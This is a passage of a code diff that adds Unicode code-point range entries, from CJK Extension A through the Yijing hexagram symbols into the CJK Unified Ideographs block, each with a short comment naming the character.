+ [0x4da3, 0x4da3], /* CJK Ideograph Extension A */
+ [0x4da4, 0x4da4], /* CJK Ideograph Extension A */
+ [0x4da5, 0x4da5], /* CJK Ideograph Extension A */
+ [0x4da6, 0x4da6], /* CJK Ideograph Extension A */
+ [0x4da7, 0x4da7], /* CJK Ideograph Extension A */
+ [0x4da8, 0x4da8], /* CJK Ideograph Extension A */
+ [0x4da9, 0x4da9], /* CJK Ideograph Extension A */
+ [0x4daa, 0x4daa], /* CJK Ideograph Extension A */
+ [0x4dab, 0x4dab], /* CJK Ideograph Extension A */
+ [0x4dac, 0x4dac], /* CJK Ideograph Extension A */
+ [0x4dad, 0x4dad], /* CJK Ideograph Extension A */
+ [0x4dae, 0x4dae], /* CJK Ideograph Extension A */
+ [0x4daf, 0x4daf], /* CJK Ideograph Extension A */
+ [0x4db0, 0x4db0], /* CJK Ideograph Extension A */
+ [0x4db1, 0x4db1], /* CJK Ideograph Extension A */
+ [0x4db2, 0x4db2], /* CJK Ideograph Extension A */
+ [0x4db3, 0x4db3], /* CJK Ideograph Extension A */
+ [0x4db4, 0x4db4], /* CJK Ideograph Extension A */
+ [0x4db5, 0x4db5], /* CJK Ideograph Extension A */
+ [0x4db6, 0x4db6],
+ [0x4db7, 0x4db7],
+ [0x4db8, 0x4db8],
+ [0x4db9, 0x4db9],
+ [0x4dba, 0x4dba],
+ [0x4dbb, 0x4dbb],
+ [0x4dbc, 0x4dbc],
+ [0x4dbd, 0x4dbd],
+ [0x4dbe, 0x4dbe],
+ [0x4dbf, 0x4dbf],
+ [0x4dc0, 0x4dc0], /* HEXAGRAM FOR THE CREATIVE HEAVEN */
+ [0x4dc1, 0x4dc1], /* HEXAGRAM FOR THE RECEPTIVE EARTH */
+ [0x4dc2, 0x4dc2], /* HEXAGRAM FOR DIFFICULTY AT THE BEGINNING */
+ [0x4dc3, 0x4dc3], /* HEXAGRAM FOR YOUTHFUL FOLLY */
+ [0x4dc4, 0x4dc4], /* HEXAGRAM FOR WAITING */
+ [0x4dc5, 0x4dc5], /* HEXAGRAM FOR CONFLICT */
+ [0x4dc6, 0x4dc6], /* HEXAGRAM FOR THE ARMY */
+ [0x4dc7, 0x4dc7], /* HEXAGRAM FOR HOLDING TOGETHER */
+ [0x4dc8, 0x4dc8], /* HEXAGRAM FOR SMALL TAMING */
+ [0x4dc9, 0x4dc9], /* HEXAGRAM FOR TREADING */
+ [0x4dca, 0x4dca], /* HEXAGRAM FOR PEACE */
+ [0x4dcb, 0x4dcb], /* HEXAGRAM FOR STANDSTILL */
+ [0x4dcc, 0x4dcc], /* HEXAGRAM FOR FELLOWSHIP */
+ [0x4dcd, 0x4dcd], /* HEXAGRAM FOR GREAT POSSESSION */
+ [0x4dce, 0x4dce], /* HEXAGRAM FOR MODESTY */
+ [0x4dcf, 0x4dcf], /* HEXAGRAM FOR ENTHUSIASM */
+ [0x4dd0, 0x4dd0], /* HEXAGRAM FOR FOLLOWING */
+ [0x4dd1, 0x4dd1], /* HEXAGRAM FOR WORK ON THE DECAYED */
+ [0x4dd2, 0x4dd2], /* HEXAGRAM FOR APPROACH */
+ [0x4dd3, 0x4dd3], /* HEXAGRAM FOR CONTEMPLATION */
+ [0x4dd4, 0x4dd4], /* HEXAGRAM FOR BITING THROUGH */
+ [0x4dd5, 0x4dd5], /* HEXAGRAM FOR GRACE */
+ [0x4dd6, 0x4dd6], /* HEXAGRAM FOR SPLITTING APART */
+ [0x4dd7, 0x4dd7], /* HEXAGRAM FOR RETURN */
+ [0x4dd8, 0x4dd8], /* HEXAGRAM FOR INNOCENCE */
+ [0x4dd9, 0x4dd9], /* HEXAGRAM FOR GREAT TAMING */
+ [0x4dda, 0x4dda], /* HEXAGRAM FOR MOUTH CORNERS */
+ [0x4ddb, 0x4ddb], /* HEXAGRAM FOR GREAT PREPONDERANCE */
+ [0x4ddc, 0x4ddc], /* HEXAGRAM FOR THE ABYSMAL WATER */
+ [0x4ddd, 0x4ddd], /* HEXAGRAM FOR THE CLINGING FIRE */
+ [0x4dde, 0x4dde], /* HEXAGRAM FOR INFLUENCE */
+ [0x4ddf, 0x4ddf], /* HEXAGRAM FOR DURATION */
+ [0x4de0, 0x4de0], /* HEXAGRAM FOR RETREAT */
+ [0x4de1, 0x4de1], /* HEXAGRAM FOR GREAT POWER */
+ [0x4de2, 0x4de2], /* HEXAGRAM FOR PROGRESS */
+ [0x4de3, 0x4de3], /* HEXAGRAM FOR DARKENING OF THE LIGHT */
+ [0x4de4, 0x4de4], /* HEXAGRAM FOR THE FAMILY */
+ [0x4de5, 0x4de5], /* HEXAGRAM FOR OPPOSITION */
+ [0x4de6, 0x4de6], /* HEXAGRAM FOR OBSTRUCTION */
+ [0x4de7, 0x4de7], /* HEXAGRAM FOR DELIVERANCE */
+ [0x4de8, 0x4de8], /* HEXAGRAM FOR DECREASE */
+ [0x4de9, 0x4de9], /* HEXAGRAM FOR INCREASE */
+ [0x4dea, 0x4dea], /* HEXAGRAM FOR BREAKTHROUGH */
+ [0x4deb, 0x4deb], /* HEXAGRAM FOR COMING TO MEET */
+ [0x4dec, 0x4dec], /* HEXAGRAM FOR GATHERING TOGETHER */
+ [0x4ded, 0x4ded], /* HEXAGRAM FOR PUSHING UPWARD */
+ [0x4dee, 0x4dee], /* HEXAGRAM FOR OPPRESSION */
+ [0x4def, 0x4def], /* HEXAGRAM FOR THE WELL */
+ [0x4df0, 0x4df0], /* HEXAGRAM FOR REVOLUTION */
+ [0x4df1, 0x4df1], /* HEXAGRAM FOR THE CAULDRON */
+ [0x4df2, 0x4df2], /* HEXAGRAM FOR THE AROUSING THUNDER */
+ [0x4df3, 0x4df3], /* HEXAGRAM FOR THE KEEPING STILL MOUNTAIN */
+ [0x4df4, 0x4df4], /* HEXAGRAM FOR DEVELOPMENT */
+ [0x4df5, 0x4df5], /* HEXAGRAM FOR THE MARRYING MAIDEN */
+ [0x4df6, 0x4df6], /* HEXAGRAM FOR ABUNDANCE */
+ [0x4df7, 0x4df7], /* HEXAGRAM FOR THE WANDERER */
+ [0x4df8, 0x4df8], /* HEXAGRAM FOR THE GENTLE WIND */
+ [0x4df9, 0x4df9], /* HEXAGRAM FOR THE JOYOUS LAKE */
+ [0x4dfa, 0x4dfa], /* HEXAGRAM FOR DISPERSION */
+ [0x4dfb, 0x4dfb], /* HEXAGRAM FOR LIMITATION */
+ [0x4dfc, 0x4dfc], /* HEXAGRAM FOR INNER TRUTH */
+ [0x4dfd, 0x4dfd], /* HEXAGRAM FOR SMALL PREPONDERANCE */
+ [0x4dfe, 0x4dfe], /* HEXAGRAM FOR AFTER COMPLETION */
+ [0x4dff, 0x4dff], /* HEXAGRAM FOR BEFORE COMPLETION */
+ [0x4e00, 0x4e00], /* CJK Ideograph */
+ [0x4e01, 0x4e01], /* CJK Ideograph */
+ [0x4e02, 0x4e02], /* CJK Ideograph */
+ [0x4e03, 0x4e03], /* CJK Ideograph */
+ [0x4e04, 0x4e04], /* CJK Ideograph */
+ [0x4e05, 0x4e05], /* CJK Ideograph */
+ [0x4e06, 0x4e06], /* CJK Ideograph */
+ [0x4e07, 0x4e07], /* CJK Ideograph */
+ [0x4e08, 0x4e08], /* CJK Ideograph */
+ [0x4e09, 0x4e09], /* CJK Ideograph */
+ [0x4e0a, 0x4e0a], /* CJK Ideograph */
+ [0x4e0b, 0x4e0b], /* CJK Ideograph */
+ [0x4e0c, 0x4e0c], /* CJK Ideograph */
+ [0x4e0d, 0x4e0d], /* CJK Ideograph */
+ [0x4e0e, 0x4e0e], /* CJK Ideograph */
+ [0x4e0f, 0x4e0f], /* CJK Ideograph */
+ [0x4e10, 0x4e10], /* CJK Ideograph */
+ [0x4e11, 0x4e11], /* CJK Ideograph */
+ [0x4e12, 0x4e12], /* CJK Ideograph */
+ [0x4e13, 0x4e13], /* CJK Ideograph */
+ [0x4e14, 0x4e14], /* CJK Ideograph */
+ [0x4e15, 0x4e15], /* CJK Ideograph */
+ [0x4e16, 0x4e16], /* CJK Ideograph */
+ [0x4e17, 0x4e17], /* CJK Ideograph */
+ [0x4e18, 0x4e18], /* CJK Ideograph */
+ [0x4e19, 0x4e19], /* CJK Ideograph */
+ [0x4e1a, 0x4e1a], /* CJK Ideograph */
+ [0x4e1b, 0x4e1b], /* CJK Ideograph */
+ [0x4e1c, 0x4e1c], /* CJK Ideograph */
+ [0x4e1d, 0x4e1d], /* CJK Ideograph */
+ [0x4e1e, 0x4e1e], /* CJK Ideograph */
+ [0x4e1f, 0x4e1f], /* CJK Ideograph */
+ [0x4e20, 0x4e20], /* CJK Ideograph */
+ [0x4e21, 0x4e21], /* CJK Ideograph */
+ [0x4e22, 0x4e22], /* CJK Ideograph */
+ [0x4e23, 0x4e23], /* CJK Ideograph */
+ [0x4e24, 0x4e24], /* CJK Ideograph */
+ [0x4e25, 0x4e25], /* CJK Ideograph */
+ [0x4e26, 0x4e26], /* CJK Ideograph */
+ [0x4e27, 0x4e27], /* CJK Ideograph */
+ [0x4e28, 0x4e28], /* CJK Ideograph */
+ [0x4e29, 0x4e29], /* CJK Ideograph */
+ [0x4e2a, 0x4e2a], /* CJK Ideograph */
+ [0x4e2b, 0x4e2b], /* CJK Ideograph */
+ [0x4e2c, 0x4e2c], /* CJK Ideograph */
+ [0x4e2d, 0x4e2d], /* CJK Ideograph */
+ [0x4e2e, 0x4e2e], /* CJK Ideograph */
+ [0x4e2f, 0x4e2f], /* CJK Ideograph */
+ [0x4e30, 0x4e30], /* CJK Ideograph */
+ [0x4e31, 0x4e31], /* CJK Ideograph */
+ [0x4e32, 0x4e32], /* CJK Ideograph */
+ [0x4e33, 0x4e33], /* CJK Ideograph */
+ [0x4e34, 0x4e34], /* CJK Ideograph */
+ [0x4e35, 0x4e35], /* CJK Ideograph */
+ [0x4e36, 0x4e36], /* CJK Ideograph */
+ [0x4e37, 0x4e37], /* CJK Ideograph */
+ [0x4e38, 0x4e38], /* CJK Ideograph */
+ [0x4e39, 0x4e39], /* CJK Ideograph */
+ [0x4e3a, 0x4e3a], /* CJK Ideograph */
+ [0x4e3b, 0x4e3b], /* CJK Ideograph */
+ [0x4e3c, 0x4e3c], /* CJK Ideograph */
+ [0x4e3d, 0x4e3d], /* CJK Ideograph */
+ [0x4e3e, 0x4e3e], /* CJK Ideograph */
+ [0x4e3f, 0x4e3f], /* CJK Ideograph */
+ [0x4e40, 0x4e40], /* CJK Ideograph */
+ [0x4e41, 0x4e41], /* CJK Ideograph */
+ [0x4e42, 0x4e42], /* CJK Ideograph */
+ [0x4e43, 0x4e43], /* CJK Ideograph */
+ [0x4e44, 0x4e44], /* CJK Ideograph */
+ [0x4e45, 0x4e45], /* CJK Ideograph */
+ [0x4e46, 0x4e46], /* CJK Ideograph */
+ [0x4e47, 0x4e47], /* CJK Ideograph */
+ [0x4e48, 0x4e48], /* CJK Ideograph */
+ [0x4e49, 0x4e49], /* CJK Ideograph */
+ [0x4e4a, 0x4e4a], /* CJK Ideograph */
+ [0x4e4b, 0x4e4b], /* CJK Ideograph */
+ [0x4e4c, 0x4e4c], /* CJK Ideograph */
+ [0x4e4d, 0x4e4d], /* CJK Ideograph */
+ [0x4e4e, 0x4e4e], /* CJK Ideograph */
+ [0x4e4f, 0x4e4f], /* CJK Ideograph */
+ [0x4e50, 0x4e50], /* CJK Ideograph */
+ [0x4e51, 0x4e51], /* CJK Ideograph */
+ [0x4e52, 0x4e52], /* CJK Ideograph */
+ [0x4e53, 0x4e53], /* CJK Ideograph */
+ [0x4e54, 0x4e54], /* CJK Ideograph */
+ [0x4e55, 0x4e55], /* CJK Ideograph */
+ [0x4e56, 0x4e56], /* CJK Ideograph */
+ [0x4e57, 0x4e57], /* CJK Ideograph */
+ [0x4e58, 0x4e58], /* CJK Ideograph */
+ [0x4e59, 0x4e59], /* CJK Ideograph */
+ [0x4e5a, 0x4e5a], /* CJK Ideograph */
+ [0x4e5b, 0x4e5b], /* CJK Ideograph */
+ [0x4e5c, 0x4e5c], /* CJK Ideograph */
+ [0x4e5d, 0x4e5d], /* CJK Ideograph */
+ [0x4e5e, 0x4e5e], /* CJK Ideograph */
+ [0x4e5f, 0x4e5f], /* CJK Ideograph */
+ [0x4e60, 0x4e60], /* CJK Ideograph */
+ [0x4e61, 0x4e61], /* CJK Ideograph */
+ [0x4e62, 0x4e62], /* CJK Ideograph */
+ [0x4e63, 0x4e63], /* CJK Ideograph */
+ [0x4e64, 0x4e64], /* CJK Ideograph */
+ [0x4e65, 0x4e65], /* CJK Ideograph */
+ [0x4e66, 0x4e66], /* CJK Ideograph */
+ [0x4e67, 0x4e67], /* CJK Ideograph */
+ [0x4e68, 0x4e68], /* CJK Ideograph */
+ [0x4e69, 0x4e69], /* CJK Ideograph */
+ [0x4e6a, 0x4e6a], /* CJK Ideograph */
+ [0x4e6b, 0x4e6b], /* CJK Ideograph */
+ [0x4e6c, 0x4e6c], /* CJK Ideograph */
+ [0x4e6d, 0x4e6d], /* CJK Ideograph */
+ [0x4e6e, 0x4e6e], /* CJK Ideograph */
+ [0x4e6f, 0x4e6f], /* CJK Ideograph */
+ [0x4e70, 0x4e70], /* CJK Ideograph */
+ [0x4e71, 0x4e71], /* CJK Ideograph */
+ [0x4e72, 0x4e72], /* CJK Ideograph */
+ [0x4e73, 0x4e73], /* CJK Ideograph */
+ [0x4e74, 0x4e74], /* CJK Ideograph */
+ [0x4e75, 0x4e75], /* CJK Ideograph */
+ [0x4e76, 0x4e76], /* CJK Ideograph */
+ [0x4e77, 0x4e77], /* CJK Ideograph */
+ [0x4e78, 0x4e78], /* CJK Ideograph */
+ [0x4e79, 0x4e79], /* CJK Ideograph */
+ [0x4e7a, 0x4e7a], /* CJK Ideograph */
+ [0x4e7b, 0x4e7b], /* CJK Ideograph */
+ [0x4e7c, 0x4e7c], /* CJK Ideograph */
+ [0x4e7d, 0x4e7d], /* CJK Ideograph */
+ [0x4e7e, 0x4e7e], /* CJK Ideograph */
+ [0x4e7f, 0x4e7f], /* CJK Ideograph */
+ [0x4e80, 0x4e80], /* CJK Ideograph */
+ [0x4e81, 0x4e81], /* CJK Ideograph */
+ [0x4e82, 0x4e82], /* CJK Ideograph */
+ [0x4e83, 0x4e83], /* CJK Ideograph */
+ [0x4e84, 0x4e84], /* CJK Ideograph */
+ [0x4e85, 0x4e85], /* CJK Ideograph */
+ [0x4e86, 0x4e86], /* CJK Ideograph */
+ [0x4e87, 0x4e87], /* CJK Ideograph */
+ [0x4e88, 0x4e88], /* CJK Ideograph */
+ [0x4e89, 0x4e89], /* CJK Ideograph */
+ [0x4e8a, 0x4e8a], /* CJK Ideograph */
+ [0x4e8b, 0x4e8b], /* CJK Ideograph */
+ [0x4e8c, 0x4e8c], /* CJK Ideograph */
+ [0x4e8d, 0x4e8d], /* CJK Ideograph */
+ [0x4e8e, 0x4e8e], /* CJK Ideograph */
+ [0x4e8f, 0x4e8f], /* CJK Ideograph */
+ [0x4e90, 0x4e90], /* CJK Ideograph */
+ [0x4e91, 0x4e91], /* CJK Ideograph */
+ [0x4e92, 0x4e92], /* CJK Ideograph */
+ [0x4e93, 0x4e93], /* CJK Ideograph */
+ [0x4e94, 0x4e94], /* CJK Ideograph */
+ [0x4e95, 0x4e95], /* CJK Ideograph */
+ [0x4e96, 0x4e96], /* CJK Ideograph */
+ [0x4e97, 0x4e97], /* CJK Ideograph */
+ [0x4e98, 0x4e98], /* CJK Ideograph */
+ [0x4e99, 0x4e99], /* CJK Ideograph */
+ [0x4e9a, 0x4e9a], /* CJK Ideograph */
+ [0x4e9b, 0x4e9b], /* CJK Ideograph */
+ [0x4e9c, 0x4e9c], /* CJK Ideograph */
+ [0x4e9d, 0x4e9d], /* CJK Ideograph */
+ [0x4e9e, 0x4e9e], /* CJK Ideograph */
+ [0x4e9f, 0x4e9f], /* CJK Ideograph */
+ [0x4ea0, 0x4ea0], /* CJK Ideograph */
+ [0x4ea1, 0x4ea1], /* CJK Ideograph */
+ [0x4ea2, 0x4ea2], /* CJK Ideograph */
+ [0x4ea3, 0x4ea3], /* CJK Ideograph */
+ [0x4ea4, 0x4ea4], /* CJK Ideograph */
+ [0x4ea5, 0x4ea5], /* CJK Ideograph */
+ [0x4ea6, 0x4ea6], /* CJK Ideograph */
+ [0x4ea7, 0x4ea7], /* CJK Ideograph */
+ [0x4ea8, 0x4ea8], /* CJK Ideograph */
+ [0x4ea9, 0x4ea9], /* CJK Ideograph */
+ [0x4eaa, 0x4eaa], /* CJK Ideograph */
+ [0x4eab, 0x4eab], /* CJK Ideograph */
+ [0x4eac, 0x4eac], /* CJK Ideograph */
+ [0x4ead, 0x4ead], /* CJK Ideograph */
+ [0x4eae, 0x4eae], /* CJK Ideograph */
+ [0x4eaf, 0x4eaf], /* CJK Ideograph */
+ [0x4eb0, 0x4eb0], /* CJK Ideograph */
+ [0x4eb1, 0x4eb1], /* CJK Ideograph */
+ [0x4eb2, 0x4eb2], /* CJK Ideograph */
+ [0x4eb3, 0x4eb3], /* CJK Ideograph */
+ [0x4eb4, 0x4eb4], /* CJK Ideograph */
+ [0x4eb5, 0x4eb5], /* CJK Ideograph */
+ [0x4eb6, 0x4eb6], /* CJK Ideograph */
+ [0x4eb7, 0x4eb7], /* CJK Ideograph */
+ [0x4eb8, 0x4eb8], /* CJK Ideograph */
+ [0x4eb9, 0x4eb9], /* CJK Ideograph */
+ [0x4eba, 0x4eba], /* CJK Ideograph */
+ [0x4ebb, 0x4ebb], /* CJK Ideograph */
+ [0x4ebc, 0x4ebc], /* CJK Ideograph */
+ [0x4ebd, 0x4ebd], /* CJK Ideograph */
+ [0x4ebe, 0x4ebe], /* CJK Ideograph */
+ [0x4ebf, 0x4ebf], /* CJK Ideograph */
+ [0x4ec0, 0x4ec0], /* CJK Ideograph */
+ [0x4ec1, 0x4ec1], /* CJK Ideograph */
+ [0x4ec2, 0x4ec2], /* CJK Ideograph */
+ [0x4ec3, 0x4ec3], /* CJK Ideograph */
+ [0x4ec4, 0x4ec4], /* CJK Ideograph */
+ [0x4ec5, 0x4ec5], /* CJK Ideograph */
+ [0x4ec6, 0x4ec6], /* CJK Ideograph */
+ [0x4ec7, 0x4ec7], /* CJK Ideograph */
+ [0x4ec8, 0x4ec8], /* CJK Ideograph */
+ [0x4ec9, 0x4ec9], /* CJK Ideograph */
+ [0x4eca, 0x4eca], /* CJK Ideograph */
+ [0x4ecb, 0x4ecb], /* CJK Ideograph */
+ [0x4ecc, 0x4ecc], /* CJK Ideograph */
+ [0x4ecd, 0x4ecd], /* CJK Ideograph */
+ [0x4ece, 0x4ece], /* CJK Ideograph */
+ [0x4ecf, 0x4ecf], /* CJK Ideograph */
+ [0x4ed0, 0x4ed0], /* CJK Ideograph */
+ [0x4ed1, 0x4ed1], /* CJK Ideograph */
+ [0x4ed2, 0x4ed2], /* CJK Ideograph */
+ [0x4ed3, 0x4ed3], /* CJK Ideograph */
+ [0x4ed4, 0x4ed4], /* CJK Ideograph */
+ [0x4ed5, 0x4ed5], /* CJK Ideograph */
+ [0x4ed6, 0x4ed6], /* CJK Ideograph */
+ [0x4ed7, 0x4ed7], /* CJK Ideograph */
+ [0x4ed8, 0x4ed8], /* CJK Ideograph */
+ [0x4ed9, 0x4ed9], /* CJK Ideograph */
+ [0x4eda, 0x4eda], /* CJK Ideograph */
+ [0x4edb, 0x4edb], /* CJK Ideograph */
+ [0x4edc, 0x4edc], /* CJK Ideograph */
+ [0x4edd, 0x4edd], /* CJK Ideograph */
+ [0x4ede, 0x4ede], /* CJK Ideograph */
+ [0x4edf, 0x4edf], /* CJK Ideograph */
+ [0x4ee0, 0x4ee0], /* CJK Ideograph */
+ [0x4ee1, 0x4ee1], /* CJK Ideograph */
+ [0x4ee2, 0x4ee2], /* CJK Ideograph */
+ [0x4ee3, 0x4ee3], /* CJK Ideograph */
+ [0x4ee4, 0x4ee4], /* CJK Ideograph */
+ [0x4ee5, 0x4ee5], /* CJK Ideograph */
+ [0x4ee6, 0x4ee6], /* CJK Ideograph */
+ [0x4ee7, 0x4ee7], /* CJK Ideograph */
+ [0x4ee8, 0x4ee8], /* CJK Ideograph */
+ [0x4ee9, 0x4ee9], /* CJK Ideograph */
+ [0x4eea, 0x4eea], /* CJK Ideograph */
+ [0x4eeb, 0x4eeb], /* CJK Ideograph */
+ [0x4eec, 0x4eec], /* CJK Ideograph */
+ [0x4eed, 0x4eed], /* CJK Ideograph */
+ [0x4eee, 0x4eee], /* CJK Ideograph */
+ [0x4eef, 0x4eef], /* CJK Ideograph */
+ [0x4ef0, 0x4ef0], /* CJK Ideograph */
+ [0x4ef1, 0x4ef1], /* CJK Ideograph */
+ [0x4ef2, 0x4ef2], /* CJK Ideograph */
+ [0x4ef3, 0x4ef3], /* CJK Ideograph */
+ [0x4ef4, 0x4ef4], /* CJK Ideograph */
+ [0x4ef5, 0x4ef5], /* CJK Ideograph */
+ [0x4ef6, 0x4ef6], /* CJK Ideograph */
+ [0x4ef7, 0x4ef7], /* CJK Ideograph */
+ [0x4ef8, 0x4ef8], /* CJK Ideograph */
+ [0x4ef9, 0x4ef9], /* CJK Ideograph */
+ [0x4efa, 0x4efa], /* CJK Ideograph */
+ [0x4efb, 0x4efb], /* CJK Ideograph */
+ [0x4efc, 0x4efc], /* CJK Ideograph */
+ [0x4efd, 0x4efd], /* CJK Ideograph */
+ [0x4efe, 0x4efe], /* CJK Ideograph */
+ [0x4eff, 0x4eff], /* CJK Ideograph */
+ [0x4f00, 0x4f00], /* CJK Ideograph */
+ [0x4f01, 0x4f01], /* CJK Ideograph */
+ [0x4f02, 0x4f02], /* CJK Ideograph */
+ [0x4f03, 0x4f03], /* CJK Ideograph */
+ [0x4f04, 0x4f04], /* CJK Ideograph */
+ [0x4f05, 0x4f05], /* CJK Ideograph */
+ [0x4f06, 0x4f06], /* CJK Ideograph */
+ [0x4f07, 0x4f07], /* CJK Ideograph */
+ [0x4f08, 0x4f08], /* CJK Ideograph */
+ [0x4f09, 0x4f09], /* CJK Ideograph */
+ [0x4f0a, 0x4f0a], /* CJK Ideograph */
+ [0x4f0b, 0x4f0b], /* CJK Ideograph */
+ [0x4f0c, 0x4f0c], /* CJK Ideograph */
+ [0x4f0d, 0x4f0d], /* CJK Ideograph */
+ [0x4f0e, 0x4f0e], /* CJK Ideograph */
+ [0x4f0f, 0x4f0f], /* CJK Ideograph */
+ [0x4f10, 0x4f10], /* CJK Ideograph */
+ [0x4f11, 0x4f11], /* CJK Ideograph */
+ [0x4f12, 0x4f12], /* CJK Ideograph */
+ [0x4f13, 0x4f13], /* CJK Ideograph */
+ [0x4f14, 0x4f14], /* CJK Ideograph */
+ [0x4f15, 0x4f15], /* CJK Ideograph */
+ [0x4f16, 0x4f16], /* CJK Ideograph */
+ [0x4f17, 0x4f17], /* CJK Ideograph */
+ [0x4f18, 0x4f18], /* CJK Ideograph */
+ [0x4f19, 0x4f19], /* CJK Ideograph */
+ [0x4f1a, 0x4f1a], /* CJK Ideograph */
+ [0x4f1b, 0x4f1b], /* CJK Ideograph */
+ [0x4f1c, 0x4f1c], /* CJK Ideograph */
+ [0x4f1d, 0x4f1d], /* CJK Ideograph */
+ [0x4f1e, 0x4f1e], /* CJK Ideograph */
+ [0x4f1f, 0x4f1f], /* CJK Ideograph */
+ [0x4f20, 0x4f20], /* CJK Ideograph */
+ [0x4f21, 0x4f21], /* CJK Ideograph */
+ [0x4f22, 0x4f22], /* CJK Ideograph */
+ [0x4f23, 0x4f23], /* CJK Ideograph */
+ [0x4f24, 0x4f24], /* CJK Ideograph */
+ [0x4f25, 0x4f25], /* CJK Ideograph */
+ [0x4f26, 0x4f26], /* CJK Ideograph */
+ [0x4f27, 0x4f27], /* CJK Ideograph */
+ [0x4f28, 0x4f28], /* CJK Ideograph */
+ [0x4f29, 0x4f29], /* CJK Ideograph */
+ [0x4f2a, 0x4f2a], /* CJK Ideograph */
+ [0x4f2b, 0x4f2b], /* CJK Ideograph */
+ [0x4f2c, 0x4f2c], /* CJK Ideograph */
+ [0x4f2d, 0x4f2d], /* CJK Ideograph */
+ [0x4f2e, 0x4f2e], /* CJK Ideograph */
+ [0x4f2f, 0x4f2f], /* CJK Ideograph */
+ [0x4f30, 0x4f30], /* CJK Ideograph */
+ [0x4f31, 0x4f31], /* CJK Ideograph */
+ [0x4f32, 0x4f32], /* CJK Ideograph */
+ [0x4f33, 0x4f33], /* CJK Ideograph */
+ [0x4f34, 0x4f34], /* CJK Ideograph */
+ [0x4f35, 0x4f35], /* CJK Ideograph */
+ [0x4f36, 0x4f36], /* CJK Ideograph */
+ [0x4f37, 0x4f37], /* CJK Ideograph */
+ [0x4f38, 0x4f38], /* CJK Ideograph */
+ [0x4f39, 0x4f39], /* CJK Ideograph */
+ [0x4f3a, 0x4f3a], /* CJK Ideograph */
+ [0x4f3b, 0x4f3b], /* CJK Ideograph */
+ [0x4f3c, 0x4f3c], /* CJK Ideograph */
+ [0x4f3d, 0x4f3d], /* CJK Ideograph */
+ [0x4f3e, 0x4f3e], /* CJK Ideograph */
+ [0x4f3f, 0x4f3f], /* CJK Ideograph */
+ [0x4f40, 0x4f40], /* CJK Ideograph */
+ [0x4f41, 0x4f41], /* CJK Ideograph */
+ [0x4f42, 0x4f42], /* CJK Ideograph */
+ [0x4f43, 0x4f43], /* CJK Ideograph */
+ [0x4f44, 0x4f44], /* CJK Ideograph */
+ [0x4f45, 0x4f45], /* CJK Ideograph */
+ [0x4f46, 0x4f46], /* CJK Ideograph */
+ [0x4f47, 0x4f47], /* CJK Ideograph */
+ [0x4f48, 0x4f48], /* CJK Ideograph */
+ [0x4f49, 0x4f49], /* CJK Ideograph */
+ [0x4f4a, 0x4f4a], /* CJK Ideograph */
+ [0x4f4b, 0x4f4b], /* CJK Ideograph */
+ [0x4f4c, 0x4f4c], /* CJK Ideograph */
+ [0x4f4d, 0x4f4d], /* CJK Ideograph */
+ [0x4f4e, 0x4f4e], /* CJK Ideograph */
+ [0x4f4f, 0x4f4f], /* CJK Ideograph */
+ [0x4f50, 0x4f50], /* CJK Ideograph */
+ [0x4f51, 0x4f51], /* CJK Ideograph */
+ [0x4f52, 0x4f52], /* CJK Ideograph */
+ [0x4f53, 0x4f53], /* CJK Ideograph */
+ [0x4f54, 0x4f54], /* CJK Ideograph */
+ [0x4f55, 0x4f55], /* CJK Ideograph */
+ [0x4f56, 0x4f56], /* CJK Ideograph */
+ [0x4f57, 0x4f57], /* CJK Ideograph */
+ [0x4f58, 0x4f58], /* CJK Ideograph */
+ [0x4f59, 0x4f59], /* CJK Ideograph */
+ [0x4f5a, 0x4f5a], /* CJK Ideograph */
+ [0x4f5b, 0x4f5b], /* CJK Ideograph */
+ [0x4f5c, 0x4f5c], /* CJK Ideograph */
+ [0x4f5d, 0x4f5d], /* CJK Ideograph */
+ [0x4f5e, 0x4f5e], /* CJK Ideograph */
+ [0x4f5f, 0x4f5f], /* CJK Ideograph */
+ [0x4f60, 0x4f60], /* CJK Ideograph */
+ [0x4f61, 0x4f61], /* CJK Ideograph */
+ [0x4f62, 0x4f62], /* CJK Ideograph */
+ [0x4f63, 0x4f63], /* CJK Ideograph */
+ [0x4f64, 0x4f64], /* CJK Ideograph */
+ [0x4f65, 0x4f65], /* CJK Ideograph */
+ [0x4f66, 0x4f66], /* CJK Ideograph */
+ [0x4f67, 0x4f67], /* CJK Ideograph */
+ [0x4f68, 0x4f68], /* CJK Ideograph */
+ [0x4f69, 0x4f69], /* CJK Ideograph */
+ [0x4f6a, 0x4f6a], /* CJK Ideograph */
+ [0x4f6b, 0x4f6b], /* CJK Ideograph */
+ [0x4f6c, 0x4f6c], /* CJK Ideograph */
+ [0x4f6d, 0x4f6d], /* CJK Ideograph */
+ [0x4f6e, 0x4f6e], /* CJK Ideograph */
+ [0x4f6f, 0x4f6f], /* CJK Ideograph */
+ [0x4f70, 0x4f70], /* CJK Ideograph */
+ [0x4f71, 0x4f71], /* CJK Ideograph */
+ [0x4f72, 0x4f72], /* CJK Ideograph */
+ [0x4f73, 0x4f73], /* CJK Ideograph */
+ [0x4f74, 0x4f74], /* CJK Ideograph */
+ [0x4f75, 0x4f75], /* CJK Ideograph */
+ [0x4f76, 0x4f76], /* CJK Ideograph */
+ [0x4f77, 0x4f77], /* CJK Ideograph */
+ [0x4f78, 0x4f78], /* CJK Ideograph */
+ [0x4f79, 0x4f79], /* CJK Ideograph */
+ [0x4f7a, 0x4f7a], /* CJK Ideograph */
+ [0x4f7b, 0x4f7b], /* CJK Ideograph */
+ [0x4f7c, 0x4f7c], /* CJK Ideograph */
+ [0x4f7d, 0x4f7d], /* CJK Ideograph */
+ [0x4f7e, 0x4f7e], /* CJK Ideograph */
+ [0x4f7f, 0x4f7f], /* CJK Ideograph */
+ [0x4f80, 0x4f80], /* CJK Ideograph */
+ [0x4f81, 0x4f81], /* CJK Ideograph */
+ [0x4f82, 0x4f82], /* CJK Ideograph */
+ [0x4f83, 0x4f83], /* CJK Ideograph */
+ [0x4f84, 0x4f84], /* CJK Ideograph */
+ [0x4f85, 0x4f85], /* CJK Ideograph */
+ [0x4f86, 0x4f86], /* CJK Ideograph */
+ [0x4f87, 0x4f87], /* CJK Ideograph */
+ [0x4f88, 0x4f88], /* CJK Ideograph */
+ [0x4f89, 0x4f89], /* CJK Ideograph */
+ [0x4f8a, 0x4f8a], /* CJK Ideograph */
+ [0x4f8b, 0x4f8b], /* CJK Ideograph */
+ [0x4f8c, 0x4f8c], /* CJK Ideograph */
+ [0x4f8d, 0x4f8d], /* CJK Ideograph */
+ [0x4f8e, 0x4f8e], /* CJK Ideograph */
+ [0x4f8f, 0x4f8f], /* CJK Ideograph */
+ [0x4f90, 0x4f90], /* CJK Ideograph */
